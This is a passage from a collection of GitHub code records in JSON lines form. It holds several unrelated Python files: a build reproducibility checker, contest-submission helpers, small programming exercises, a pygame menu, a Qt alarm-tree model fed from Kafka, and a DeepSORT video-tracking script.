folderB)\n\tos.mkdir(folderA)\n\tos.mkdir(folderABuild)\n\tos.mkdir(folderAInstall)\n\t\n\t\n\t# Build B\n\tcmdLine = [\"meson\", sources, \"--prefix=\"+folderAInstall] + sys.argv[4:]\n\tprocCfgA = sp.Popen(cmdLine, cwd=folderABuild)\n\tif procCfgA.wait() != 0:\n\t\tprint(\"Error during Meson configuration!\")\n\t\tsys.exit(1)\n\t\n\tprocBuildA = sp.Popen([\"ninja\"], cwd=folderABuild)\n\tif procBuildA.wait() != 0:\n\t\tprint(\"Error during Ninja build!\")\n\t\tsys.exit(1)\n\t\n\tprocInstallA = sp.Popen([\"ninja\", \"install\"], cwd=folderABuild)\n\tif procInstallA.wait() != 0:\n\t\tprint(\"Error during Ninja install!\")\n\t\tsys.exit(1)\n\t\n\tprint(\"\\n\\n\\nChecking Differences...\")\n\t\n\t\n\t# Difference taking\n\tdiffCode = sp.Popen([\"diff\", \"-qr\", folderAInstall, folderBInstall]).wait()\n\tif diffCode != 0:\n\t\tprint(\"Not reproducbile!\")\n\telse:\n\t\tprint(\"Build reproduced!\")\n\tsys.exit(diffCode)\n\n","repo_name":"obilaniu/Sich","sub_path":"scripts/check_reproducibility.py","file_name":"check_reproducibility.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"13399830647","text":"\ndef split_data_online(experiment):\n\n L_total = experiment['L_total']\n N_train = experiment['N_train']\n N_test = experiment['N_test']\n\n L_total = L_total[3:]\n N_train = N_train -3\n\n experiment['L_total'] = L_total\n experiment['N_train'] = N_train\n\n L_test_actual = L_total[N_train:]\n L_test_actual = L_test_actual.reshape((N_test, 1))\n\n L_train_actual = L_total[:N_train]\n L_train_actual = L_train_actual.reshape((N_train, 1))\n\n experiment['L_train_actual'] = L_train_actual\n experiment['L_test_actual'] = L_test_actual\n\n return experiment","repo_name":"hatalis/DSM","sub_path":"misc/split_data_online.py","file_name":"split_data_online.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36248986485","text":"# -*- coding: utf-8 -*-\nfrom django.conf import settings\nfrom time import time\nimport os\nimport random\nimport socket\nimport xml.etree.ElementTree as ET\nimport json\n\n\nRESPONSE_ERROR = 'CERR'\nRESPONSE_OK = 'OK'\n\n\ndef write_file(what, where):\n '''Vytvorí cieľový adresár a uloží string do súboru.'''\n try:\n os.makedirs(os.path.split(where)[0])\n except:\n pass\n with open(where, 'w+') as destination:\n destination.write(what)\n\n\ndef save_file(what, where):\n '''Vytvorí cieľový adresár a uloží stiahnutý súbor.'''\n try:\n os.makedirs(os.path.split(where)[0])\n except:\n pass\n with open(where, 'wb+') as destination:\n for chunk in what.chunks():\n destination.write(chunk)\n\n\ndef get_lang_from_filename(filename):\n ext = os.path.splitext(filename)[1].lower()\n extmapping = {\n \".cpp\": \".cc\",\n \".cc\": \".cc\",\n \".pp\": \".pas\",\n \".pas\": \".pas\",\n \".dpr\": \".pas\",\n \".c\": \".c\",\n \".py\": \".py\",\n \".py3\": \".py\",\n \".hs\": \".hs\",\n \".cs\": \".cs\",\n \".java\": \".java\"}\n\n if not ext in extmapping:\n return False\n return extmapping[ext]\n\n\ndef get_path_raw(contest_id, task_id, user_id):\n '''Vypočíta cestu, kam uložiť súbory submitu bez dotknutia databázy.\n\n Cesta má tvar: $SUBMIT_PATH/submits/KSP/task_id/user_id\n '''\n\n return os.path.join(settings.SUBMIT_PATH, 'submits',\n str(contest_id), str(task_id), str(user_id))\n\ndef post_submit(raw):\n '''Pošle RAW na otestovanie'''\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((settings.TESTER_URL, settings.TESTER_PORT))\n sock.send(raw)\n sock.close()\n\n\ndef process_submit_raw(data, contest_id, task_id, language, user_id):\n '''Spracuje submit bez dotknutia databázy'''\n # Determine language from filename if language not entered\n if language == '.':\n lang = get_lang_from_filename(f.name)\n if not lang:\n return False\n language = lang\n\n # Generate submit ID\n # Submit ID is -##### where ##### are 5 random digits\n timestamp = int(time())\n submit_id = \"%d-%05d\" % (timestamp, random.randint(0, 99999))\n\n # Determine local directory to store RAW file into\n path = get_path_raw(contest_id, task_id, user_id)\n\n # Prepare submit parameters (not entirely sure about this yet).\n user_id = \"%s-%d\" % (contest_id, user_id)\n task_id = contest_id + \"-\" + task_id\n original_name = 'submit' + language\n correct_filename = task_id + language\n\n # Prepare RAW from submit parameters\n raw = \"%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\" % (\n contest_id,\n submit_id,\n user_id,\n correct_filename,\n timestamp,\n original_name,\n data)\n\n # Write RAW to local file\n write_file(raw, os.path.join(path, submit_id + '.raw'))\n\n # Send RAW for testing (uncomment when deploying)\n post_submit(raw)\n\n # Return submit ID\n return submit_id\n\ndef update_submit(submit):\n ''' zisti ci je dotestovane a zapise result, ak je ok, prida bod.\n vrati true/false == je dotestovane alebo ne.'''\n protocol_path = submit.filepath.rsplit(\n '.', 1)[0] + settings.PROTOCOL_FILE_EXTENSION\n if os.path.exists(protocol_path):\n protfile = open(protocol_path)\n data = json.loads(protfile.readline())\n if (data['error'] == 'OK'):\n submit.points = 1\n else:\n submit.points = 0\n submit.testing_status = 'finished'\n submit.tester_response = data['error']\n submit.save()\n return True\n return False\n\ndef get_compilation_error(submit):\n protocol_path = submit.filepath.rsplit(\n '.', 1)[0] + settings.PROTOCOL_FILE_EXTENSION\n protfile = open(protocol_path)\n data = json.loads(protfile.readline())\n return data['msg']\n","repo_name":"mhozza/voiceeditor","sub_path":"voiceeditor/submit/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"31074408342","text":"#Q4] Python Program to Print all Prime Numbers in an Interval\r\n\r\ndef prime(n2):\r\n isprime = True\r\n\r\n for i in range(2,n2):\r\n if(n2 % i == 0):\r\n isprime = False\r\n break\r\n if (isprime == True):\r\n return n2\r\n\r\n\r\nn1 = int(input(\"Enter n1 : \"))\r\nn2 = int(input(\"Enter n2 : \"))\r\n\r\nfor i in range(n1,n2):\r\n if(prime(i) == None):\r\n continue\r\n print(prime(i),end=' ')","repo_name":"StrangeCoder1729/Programiz-Python-Questions-Solved","sub_path":"1_decision_making_and_loops/Question6.py","file_name":"Question6.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"19025688454","text":"from threading import Thread\nfrom time import sleep\nimport logging\nfrom random import randint\n\n\nclass MyThread(Thread):\n def __init__(self, second_num):\n super().__init__()\n self.delay = second_num\n\n def run(self):\n logging.info(f'started')\n sleep(self.delay)\n logging.info(f'waited for {self.delay} seconds')\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO,\n format='%(threadName)s: %(message)s')\n for _ in range(10):\n t = MyThread(randint(1, 5))\n t.start()\n logging.info('Usefull message')\n","repo_name":"nataliia-pysanka/GoIT_DZ_2_4","sub_path":"test/my_thread_run.py","file_name":"my_thread_run.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36038383629","text":"import pygame\nimport sfx\n\nfrom widgets import *\n\n\ndef options():\n pygame.init()\n screen = pygame.display.set_mode((1000, 900))\n font = pygame.font.SysFont(None, 30)\n\n main_menu_button = Button(screen, (180, 20, 10), (180, 80, 10), (10, 75, 20), font, \"Menu\", (183, 183, 183), 5, 5, 100, 50)\n opts_l = [\n Label(screen, pygame.font.SysFont(None, 100), \"Options\", (200, 100, 100), 450, 200, 100, 50),\n Label(screen, font, \"Background Music: \", (183, 183, 183), 450, 300, 100, 50),\n Label(screen, font, \"SFX: \", (183, 183, 183), 450, 400, 100, 50),\n ]\n\n bgm_b = Button(screen, (180, 20, 10), (180, 80, 10), (10, 75, 20), font, \"On\", (183, 183, 183), 600, 300, 100, 50)\n sfx_b = Button(screen, (180, 20, 10), (180, 80, 10), (10, 75, 20), font, \"On\", (183, 183, 183), 600, 400, 100, 50)\n if not sfx.bgm_on:\n bgm_b.text = \"Off\"\n if not sfx.sfx_on:\n sfx_b.text = \"Off\"\n\n while True:\n event = pygame.event.wait()\n pos = pygame.mouse.get_pos()\n if main_menu_button.handle_event(event, pos):\n break\n if event.type == pygame.QUIT:\n break\n if bgm_b.handle_event(event, pos):\n if bgm_b.text == \"On\":\n bgm_b.text = \"Off\"\n sfx.stop()\n elif bgm_b.text == \"Off\":\n bgm_b.text = \"On\"\n sfx.bgm()\n if sfx_b.handle_event(event, pos):\n if sfx_b.text == \"On\":\n sfx_b.text = \"Off\"\n sfx.sfx_on = False\n elif sfx_b.text == \"Off\":\n sfx_b.text = \"On\"\n sfx.sfx_on = True\n\n\n screen.fill((36, 34, 30))\n main_menu_button.render()\n for i in opts_l:\n i.render()\n bgm_b.render()\n sfx_b.render()\n pygame.display.update()\n\n\n\n\n","repo_name":"yadavalu/ThemedHorror13","sub_path":"options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"32765081335","text":"# This problem is called 945. Minimum Increment to Make Array Unique\n# You can access it here: https://leetcode.com/problems/minimum-increment-to-make-array-unique/\n\n# The program recieves an integer array nums. In one move, the program can pick an index i where 0 <= i < nums.length \n# and increment nums[i] by 1.\n# The program will return the minimum number of moves to make every value in nums unique.\n# For example: \n# If nums = [1,2,2] \n# The output is 1 \n# Because, after 1 move, the array could be [1, 2, 3].\n\nclass Solution:\n def minIncrementForUnique(self, nums: List[int]) -> int:\n total = 0 \n nums.sort()\n\n for i in range(1, len(nums)): \n if nums[i] <= nums[i-1]: \n new_value = nums[i - 1] + 1\n total += new_value - nums[i]\n nums[i] = new_value \n return total","repo_name":"veronicaglh/Leetcode-and-Hackerrank-Problems","sub_path":"LeetCode/Others/MinimumIncrement.py","file_name":"MinimumIncrement.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"34279621344","text":"import os\nimport json\nimport time\nfrom functools import partial\n\nfrom kafka import KafkaConsumer\nfrom qtpy.QtCore import (\n Qt,\n Slot,\n QModelIndex,\n QObject,\n Signal,\n Property,\n QAbstractItemModel,\n QMimeData,\n)\nfrom qtpy.QtGui import QBrush, QColor\n\nfrom pydm.widgets.base import widget_destroyed\n\n\nclass AlarmTreeItem(QObject):\n \"\"\"\n Alarm tree items hold all data for an entry in the configuration heirarchy\n \"\"\"\n\n data_changed = Signal()\n send_value_signal = Signal(bool)\n\n def __init__(\n self,\n label=\"\",\n parent=None,\n address=\"\",\n description=\"\",\n enabled=True,\n latching=False,\n annunciating=False,\n count=None,\n delay=None,\n is_group=False,\n alarm_filter=None,\n alarm_configuration=None,\n guidance=None,\n ):\n # type: (str, QObject, str, str, bool, bool, bool, int, int, bool, str, str)\n\n super(AlarmTreeItem, self).__init__()\n self.alarm_configuration = alarm_configuration\n self.parent_item = parent\n\n self.children = []\n self.channel = None\n self.address = address\n self._channels = []\n self.severity = None\n self.status = None\n\n self.guidance = guidance\n self.description = description\n self.enabled = enabled\n self.latching = latching\n self.count = count\n self.delay = delay\n self.label = label\n self.annunciating = annunciating\n self.alarm_filter = alarm_filter\n self.is_group = is_group\n\n if hasattr(self, \"channels\"):\n self.destroyed.connect(partial(widget_destroyed, self.channels))\n\n # For model logic\n def child(self, row):\n \"\"\"# type: (row: int)\"\"\"\n return self.children[row] if len(self.children) > row else []\n\n def child_count(self):\n return len(self.children)\n\n def child_number(self):\n if self.parent_item != None:\n return self.parent_item.children.index(self)\n return 0\n\n def column_count(self):\n return 1\n\n def create_child(self, position, child_data):\n # type: (int, dict)\n child = AlarmTreeItem.from_dict(\n child_data, parent=self, alarm_configuration=self.alarm_configuration\n )\n self.children.insert(position, child)\n if not self.is_group:\n self.is_group = True\n\n return child\n\n def insert_child(self, position, child):\n # type: (int, QObject)\n self.children.insert(position, child)\n if not self.is_group:\n self.is_group = True\n return child\n\n def parent(self):\n return self.parent_item\n\n def remove_child(self, position):\n # type: (int)\n item = self.children.pop(position)\n\n return item\n\n def assign_parent(self, parent):\n # type: (QObject)\n self.parent_item = parent\n\n @property\n def label(self):\n return self._label\n\n @label.setter\n def label(self, label):\n self._label = label\n\n @property\n def address(self):\n if self.channel is None:\n return None\n return self.channel.address\n\n @address.setter\n def address(self, new_address):\n # type: (str)\n self._address = new_address\n if new_address is None or len(str(new_address)) < 1:\n self.channel = None\n return\n\n @property\n def description(self):\n return self._description\n\n @description.setter\n def description(self, description):\n # type: (str)\n self._description = description\n\n @property\n def enabled(self):\n return self._enabled\n\n @enabled.setter\n def enabled(self, enabled):\n # type: (bool)\n self._enabled = enabled\n\n @property\n def latching(self):\n return self._latching\n\n @latching.setter\n def latching(self, latching):\n # type: (bool)\n self._latching = latching\n\n @property\n def annunciating(self):\n return self._annunciating\n\n @annunciating.setter\n def annunciating(self, annunciating):\n # type: (bool)\n self._annunciating = annunciating\n\n @property\n def delay(self):\n return self._delay\n\n @delay.setter\n def delay(self, delay):\n # type: (int)\n self._delay = delay\n\n @property\n def count(self):\n return self._count\n\n @count.setter\n def count(self, count):\n # type: (int)\n self._count = count\n\n @property\n def alarm_filter(self):\n return self._filter\n\n @alarm_filter.setter\n def alarm_filter(self, alarm_filter):\n # type: (str)\n self._filter = alarm_filter\n\n # command\n\n # automated action\n\n # Update functions\n @Slot(int)\n def receiveNewSeverity(self, new_severity):\n # type: (int)\n self.severity = new_severity\n self.data_changed.emit()\n\n @Slot(str)\n def receiveNewValue(self, new_value):\n # type: (str)\n self.status = new_value\n self.data_changed.emit()\n\n @Slot(bool)\n def connectionStateChanged(self, connected):\n # type: (bool)\n pass\n\n @Slot(bool)\n def acknowledge(self):\n self.send_value_signal.emit(True)\n\n @Slot(bool)\n def unacknowledge(self):\n self.send_value_signal.emit(False)\n\n # For recreation\n def to_dict(self):\n return {\n \"label\": self.label,\n \"address\": self.address,\n \"description\": self.description,\n \"enabled\": self.enabled,\n \"latching\": self.latching,\n \"count\": self.count,\n \"annunciating\": self.annunciating,\n \"delay\": self.delay,\n \"alarm_filter\": self.alarm_filter,\n }\n\n @classmethod\n def from_dict(cls, data_map, parent=None, alarm_configuration=None):\n # type: (dict, QObject)\n if data_map:\n label = data_map.get(\"label\")\n address = data_map.get(\"address\")\n description = data_map.get(\"description\")\n enabled = data_map.get(\"enabled\")\n latching = data_map.get(\"latching\")\n count = data_map.get(\"count\")\n delay = data_map.get(\"delay\")\n annunciating = data_map.get(\"annunciating\")\n alarm_filter = data_map.get(\"alarm_filter\")\n\n return cls(\n label,\n parent=parent,\n address=address,\n description=description,\n enabled=enabled,\n latching=latching,\n annunciating=annunciating,\n count=count,\n delay=delay,\n alarm_filter=alarm_filter,\n alarm_configuration=alarm_configuration,\n )\n\n else:\n return cls(None, parent=parent)\n\n # distinguish groups/pvs\n def mark_group(self):\n self.is_group = True\n\n def mark_pv(self):\n self.is_group = False\n\n\nclass AlarmTreeModel(QAbstractItemModel):\n def __init__(self, tree, parent=None):\n super(AlarmTreeModel, self).__init__(parent)\n self._nodes = []\n self._tree = tree\n self._root_item = AlarmTreeItem(self._tree.config_name)\n self._nodes.append(self._root_item)\n\n def clear(self):\n self._nodes = []\n self._root_item = None\n\n def columnCount(self, parent=QModelIndex()):\n # type: (QModelIndex)\n return self._root_item.column_count()\n\n def rowCount(self, parent=QModelIndex()):\n # type: (QModelIndex)\n parent = self.getItem(parent)\n\n return parent.child_count()\n\n def data(self, index, role):\n # type: (QModelIndex, Qt.ItemDataRole)\n if not index.isValid():\n return None\n\n item = self.getItem(index)\n\n if role in [Qt.DisplayRole, Qt.EditRole]:\n return item.label\n\n if role == Qt.TextColorRole:\n\n # no alarm\n if item.severity == 0:\n return QBrush(Qt.black)\n\n # minor alarm\n elif item.severity == 1:\n return QBrush(Qt.yellow)\n\n # major alarm\n elif item.severity == 2:\n return QBrush(Qt.red)\n\n # invalid\n elif item.severity == 3:\n return QBrush(QColor(102, 0, 255))\n\n # disconnected\n elif item.severity == 4:\n return QBrush(Qt.black)\n\n # major/minor ack\n elif item.severity == 5:\n return QBrush(QColor(86, 86, 86))\n\n # major/minor ack\n elif item.severity == 6:\n return QBrush(QColor(86, 86, 86))\n\n # undefined\n elif item.severity == 7:\n return QBrush(Qt.black)\n\n # undefined ack\n elif item.severity == 8:\n return QBrush(QColor(86, 86, 86))\n\n def flags(self, index):\n # type: (QModelIndex)\n if not index.isValid():\n return Qt.ItemIsEnabled\n\n return (\n Qt.ItemIsEditable\n | Qt.ItemIsEnabled\n | Qt.ItemIsSelectable\n | Qt.ItemIsDragEnabled\n | Qt.ItemIsDropEnabled\n )\n\n def getItem(self, index):\n # type: (QModelIndex)\n if index.isValid():\n item = index.internalPointer()\n if item:\n return item\n\n else:\n return self._root_item\n\n def index(self, row, column, parent=QModelIndex()):\n # type: (int, int, QModelIndex)\n if parent.isValid() and parent.column() != 0:\n return QModelIndex()\n\n parent = self.getItem(parent)\n childItem = parent.child(row)\n if childItem:\n return self.createIndex(row, column, childItem)\n else:\n return QModelIndex()\n\n def insertRow(self, position, parent=QModelIndex(), child_data=None):\n # type: (int, QModelIndex, dict)\n if not parent:\n return False\n\n parent_item = self.getItem(parent)\n\n self.beginInsertRows(parent, position, position)\n child = parent_item.create_child(position, child_data=child_data)\n child.data_changed.connect(self.update_values)\n\n if not parent_item.is_group:\n parent_item.mark_group()\n\n self.addNode(child)\n self.endInsertRows()\n\n return True\n\n def removeRow(self, position, parent=QModelIndex()):\n # type: (int, QModelIndex)\n\n parent_item = self.getItem(parent)\n\n self.beginRemoveRows(parent, position, position)\n item = parent_item.remove_child(position)\n self.removeNode(item)\n\n if not parent_item.child_count():\n parent_item.mark_pv()\n\n # disconnect\n item.data_changed.disconnect(self.update_values)\n self.endRemoveRows()\n\n return True\n\n def parent(self, index):\n # type: (QModelIndex)\n if not index.isValid():\n return QModelIndex()\n\n childItem = self.getItem(index)\n parent = childItem.parent()\n\n if not parent:\n return QModelIndex()\n\n if parent == self._root_item:\n return QModelIndex()\n\n return self.createIndex(parent.child_number(), 0, parent)\n\n def setData(self, index, data, role):\n # type: (QModelIndex, str, Qt.ItemDataRole)\n \"\"\"\n QAbstractModel uses setData for double click line edits.\n \"\"\"\n if data:\n self.set_data(index, label=data)\n\n return True\n\n def set_data(\n self,\n index,\n role=Qt.EditRole,\n label=None,\n description=None,\n address=None,\n count=None,\n delay=None,\n latching=None,\n enabled=None,\n annunciating=None,\n alarm_filter=None,\n guidance=None,\n ):\n # type: (QModelIndex, Qt.ItemDataRole, str, str, str, int, int, bool, bool, bool, str)\n if role != Qt.EditRole:\n return False\n\n item = self.getItem(index)\n\n if label:\n item.label = label\n\n if address:\n item.address = address\n\n if count:\n item.count = count\n\n if delay:\n item.delay = delay\n\n if latching is not None:\n item.latching = latching\n\n if enabled is not None:\n item.enabled = enabled\n\n if annunciating is not None:\n item.annunciating = annunciating\n\n if description:\n item.description = description\n\n if alarm_filter:\n item.alarm_filter = alarm_filter\n\n if guidance:\n item.guidance = guidance\n\n self.dataChanged.emit(index, index)\n\n return True\n\n @Slot()\n def update_values(self):\n self.layoutChanged.emit()\n\n # drag/drop\n def supportedDropActions(self):\n return Qt.MoveAction\n\n def mimeTypes(self):\n return [\"text/plain\"]\n\n def mimeData(self, indexes):\n # type: (List[QModelIndex])\n \"\"\"Function used for preparing tree data for drag+drop. Preserves the hierarchy of the dropped item.\n\n \"\"\"\n mimedata = QMimeData()\n item = self.getItem(indexes[0])\n\n # track representations and hierarchal relationships\n hierarchy_builder = MimeHierarchyTool()\n hierarchy_rep = hierarchy_builder.build_config(item)\n\n data = json.dumps(hierarchy_rep)\n mimedata.setText(data)\n return mimedata\n\n def dropMimeData(self, mimedata, action, row, column, parentIndex):\n \"\"\"Function used for dropping tree items. Item hierarchy within dragged groups is preserved. \n\n \"\"\"\n if action == Qt.IgnoreAction:\n return True\n\n prior_index = self._tree.selectionModel().currentIndex()\n selected_parent = self.parent(prior_index)\n selected_row = prior_index.row()\n\n self.removeRow(selected_row, parent=selected_parent)\n\n dropped_data = json.loads(mimedata.text())\n\n # handle items\n new_nodes = []\n parent_item = self.getItem(parentIndex)\n for i, rep in enumerate(dropped_data):\n data_rep = rep[0]\n parent_idx = rep[1]\n\n if i == 0:\n base_insert = parent_item.create_child(0, child_data=data_rep)\n base_insert.data_changed.connect(self.update_values)\n self._nodes.append(base_insert)\n\n # track for local indices\n new_nodes.append(base_insert)\n\n else:\n # get nodes parent\n parent_node = new_nodes[parent_idx]\n new_node = parent_node.create_child(0, child_data=data_rep)\n new_node.data_changed.connect(self.update_values)\n self._nodes.append(new_node)\n # track for local indices\n new_nodes.append(new_node)\n\n # trigger layout changed signal\n self.update_values()\n\n # populate children\n return True\n\n def addNode(self, item):\n # type: (AlarmTreeItem)\n self._nodes.append(item)\n\n def removeNode(self, node):\n # type: (AlarmTreeItem)\n self._nodes.remove(node)\n if len(self._nodes) < 1:\n pass\n\n def getNodes(self):\n hierarchy = self._get_hierarchy()\n return hierarchy\n\n def _get_hierarchy(self):\n hierarchy = []\n for i, node in enumerate(self._nodes):\n if node.parent_item is None:\n parent_idx = None\n else:\n parent_idx = self._nodes.index(node.parent_item)\n\n rep = [node.to_dict(), parent_idx]\n hierarchy.append(rep)\n\n return json.dumps(hierarchy)\n\n def import_hierarchy(self, hierarchy):\n # type: (List[list])\n \"\"\"\n Accepts a list of node representations in the list format [dictionary representation, parent]\n \"\"\"\n self.clear()\n # trigger layout changed signal\n\n config_name = None\n\n for i, node in enumerate(hierarchy):\n node_data = node[0]\n parent_idx = node[1]\n\n alarm_item = AlarmTreeItem.from_dict(\n node[0], alarm_configuration=config_name\n )\n self._nodes.append(alarm_item)\n\n if parent_idx is not None:\n alarm_item.assign_parent(self._nodes[node[1]])\n self._nodes[node[1]].insert_child(-1, alarm_item)\n\n if i == 0:\n self._root_item = alarm_item\n self._tree.config_name = alarm_item.label\n config_name = alarm_item.label\n\n for node in self._nodes:\n node.data_changed.connect(self.update_values)\n if node.channel is not None:\n node.channel.connect()\n\n # trigger layout changed signal\n self.update_values()\n\n # configuration handling\n def import_configuration_from_kafka(self, alarm_configuration):\n\n # quick setup + parse of kafka compacted topic to construct tree....\n kafka_url = os.getenv(\"KAFKA_URL\")\n\n consumer = KafkaConsumer(\n alarm_configuration,\n bootstrap_servers=[kafka_url],\n enable_auto_commit=True,\n key_deserializer=lambda x: x.decode(\"utf-8\"),\n )\n\n while not consumer._client.poll():\n continue\n consumer.seek_to_beginning()\n\n key_paths = []\n keys = {}\n\n start = time.time() * 1000\n last_time = -100000\n while last_time < start:\n message = consumer.poll(100)\n for topic_partition in message:\n for record in message[topic_partition]:\n last_time = record.timestamp\n if last_time < start:\n key_path = record.key.split(\":/\")[1]\n\n # track key path\n if key_path not in key_paths:\n\n key_paths.append(key_path)\n key_split = key_path.split(\"/\")\n\n if len(key_split) not in keys:\n keys[len(key_split)] = [\n {\"key_path\": key_path, \"key_split\": key_split}\n ]\n\n else:\n keys[len(key_split)].append(\n {\"key_path\": key_path, \"key_split\": key_split}\n )\n\n if not message:\n break\n\n nodes = []\n hierarchy = []\n\n max_depth = max(keys.keys())\n for depth in range(1, max_depth + 1):\n\n for key in keys[depth]:\n data = {\n \"label\": key[\"key_split\"][-1],\n \"address\": \"alarm://{}\".format(key[\"key_path\"]),\n }\n\n nodes.append(key[\"key_path\"])\n\n if depth > 1:\n parent = \"/\".join(key[\"key_split\"][:-1])\n parent_idx = nodes.index(parent)\n\n else:\n parent_idx = None\n\n rep = [data, parent_idx]\n hierarchy.append(rep)\n\n # import\n self.import_hierarchy(hierarchy)\n\n\nclass MimeHierarchyTool:\n \"\"\"Tool for constructing tree hierarchies for drag and drop transfers\n\n \"\"\"\n\n def __init__(self):\n self.hierarchy = []\n\n def build_config(self, node):\n \"\"\"Governing logic for building/organizing the hierarchy.\n\n \"\"\"\n # index, parent\n self.hierarchy.append([node.to_dict(), None])\n\n for node in node.children:\n\n # if children, is a group\n if node.child_count():\n self._handle_group_add(node, 0)\n\n else:\n self._handle_pv_add(node, 0)\n\n return self.hierarchy\n\n def _handle_group_add(self, group, parent_index):\n # type: (AlarmTreeItem, QModelIndex)\n \"\"\"Handles group additions to hierarchy and their subsequent children.\n\n \"\"\"\n node_index = len(self.hierarchy) - 1\n\n self.hierarchy.append([group.to_dict(), parent_index])\n\n # don't add properties for group\n for child in group.children:\n\n if child.child_count():\n self._handle_group_add(child, node_index)\n\n else:\n self._handle_pv_add(child, node_index)\n\n def _handle_pv_add(self, pv, parent_index):\n # type: (AlarmTreeItem, QModelIndex)\n \"\"\"Handles pv additions to hierarchy.\n\n \"\"\"\n node_index = len(self.hierarchy) - 1\n self.hierarchy.append([pv.to_dict(), parent_index])\n","repo_name":"slaclab/nalms","sub_path":"nalms-tools/nalms_tools/alarm_tree_editor/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":20689,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"68"} +{"seq_id":"13603011601","text":"import os\r\nimport cv2\r\nimport time\r\nimport argparse\r\nimport torch\r\nimport warnings\r\nimport numpy as np\r\n\r\nfrom detector import build_detector\r\nfrom deep_sort import build_tracker\r\nfrom utils.draw import draw_boxes\r\nfrom utils.parser import get_config\r\n\r\n\r\nclass VideoTracker(object):\r\n def __init__(self, cfg, args):\r\n self.cfg = cfg\r\n self.args = args\r\n use_cuda = args.use_cuda and torch.cuda.is_available()\r\n if not use_cuda:\r\n warnings.warn(\"Running in cpu mode which maybe very slow!\", UserWarning)\r\n\r\n if args.display:\r\n cv2.namedWindow(\"test\", cv2.WINDOW_NORMAL)\r\n cv2.resizeWindow(\"test\", args.display_width, args.display_height)\r\n\r\n if args.cam != -1:\r\n print(\"Using webcam \" + str(args.cam))\r\n self.vdo = cv2.VideoCapture(args.cam)\r\n else:\r\n self.vdo = cv2.VideoCapture()\r\n self.detector = build_detector(cfg, use_cuda=use_cuda)\r\n self.deepsort = build_tracker(cfg, use_cuda=use_cuda)\r\n self.class_names = self.detector.class_names\r\n\r\n\r\n def __enter__(self):\r\n if self.args.cam != -1:\r\n ret, frame = self.vdo.read()\r\n assert ret, \"Error: Camera error\"\r\n self.im_width = frame.shape[0]\r\n self.im_height = frame.shape[1]\r\n\r\n else:\r\n assert os.path.isfile(self.args.VIDEO_PATH), \"Error: path error\"\r\n self.vdo.open(self.args.VIDEO_PATH)\r\n self.im_width = int(self.vdo.get(cv2.CAP_PROP_FRAME_WIDTH))\r\n self.im_height = int(self.vdo.get(cv2.CAP_PROP_FRAME_HEIGHT))\r\n assert self.vdo.isOpened()\r\n\r\n if self.args.save_path:\r\n fourcc = cv2.VideoWriter_fourcc(*'MJPG')\r\n self.writer = cv2.VideoWriter(self.args.save_path, fourcc, 20, (self.im_width,self.im_height))\r\n\r\n return self\r\n\r\n\r\n def __exit__(self, exc_type, exc_value, exc_traceback):\r\n if exc_type:\r\n print(exc_type, exc_value, exc_traceback)\r\n\r\n\r\n def run(self):\r\n idx_frame = 0\r\n while self.vdo.grab():\r\n idx_frame += 1\r\n if idx_frame % self.args.frame_interval:\r\n continue\r\n\r\n start = time.time()\r\n _, ori_im = self.vdo.retrieve()\r\n im = cv2.cvtColor(ori_im, cv2.COLOR_BGR2RGB)\r\n\r\n # do detection\r\n bbox_xywh, cls_conf, cls_ids = self.detector(im)\r\n if bbox_xywh is not None:\r\n # select person class\r\n mask = cls_ids==0\r\n\r\n bbox_xywh = bbox_xywh[mask]\r\n bbox_xywh[:,3:] *= 1.2 # bbox dilation just in case bbox too small\r\n cls_conf = cls_conf[mask]\r\n\r\n # do tracking\r\n outputs = self.deepsort.update(bbox_xywh, cls_conf, im)\r\n\r\n # draw boxes for visualization\r\n if len(outputs) > 0:\r\n bbox_xyxy = outputs[:,:4]\r\n identities = outputs[:,-1]\r\n ori_im = draw_boxes(ori_im, bbox_xyxy, identities)\r\n\r\n end = time.time()\r\n print(\"time: {:.03f}s, fps: {:.03f}\".format(end-start, 1/(end-start)))\r\n\r\n if self.args.display:\r\n cv2.imshow(\"test\", ori_im)\r\n cv2.waitKey(1)\r\n\r\n if self.args.save_path:\r\n self.writer.write(ori_im)\r\n\r\n\r\ndef parse_args():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"--VIDEO_PATH\", type=str,default='/home/liujierui/proj/Dataset/video/1.avi')\r\n parser.add_argument(\"--config_detection\", type=str, default=\"./configs/yolov3.yaml\")\r\n parser.add_argument(\"--config_deepsort\", type=str, default=\"./configs/deep_sort.yaml\")\r\n parser.add_argument(\"--ignore_display\", dest=\"display\", action=\"store_false\", default=False)\r\n parser.add_argument(\"--frame_interval\", type=int, default=1)\r\n parser.add_argument(\"--display_width\", type=int, default=800)\r\n parser.add_argument(\"--display_height\", type=int, default=600)\r\n parser.add_argument(\"--save_path\", type=str, default=\"./demo/demo.avi\")\r\n parser.add_argument(\"--cpu\", dest=\"use_cuda\", action=\"store_false\", default=True)\r\n parser.add_argument(\"--camera\", action=\"store\", dest=\"cam\", type=int, default=\"-1\")\r\n return parser.parse_args()\r\n\r\n\r\nif __name__==\"__main__\":\r\n args = parse_args()\r\n cfg = get_config()\r\n cfg.merge_from_file(args.config_detection)\r\n cfg.merge_from_file(args.config_deepsort)\r\n\r\n with VideoTracker(cfg, args) as 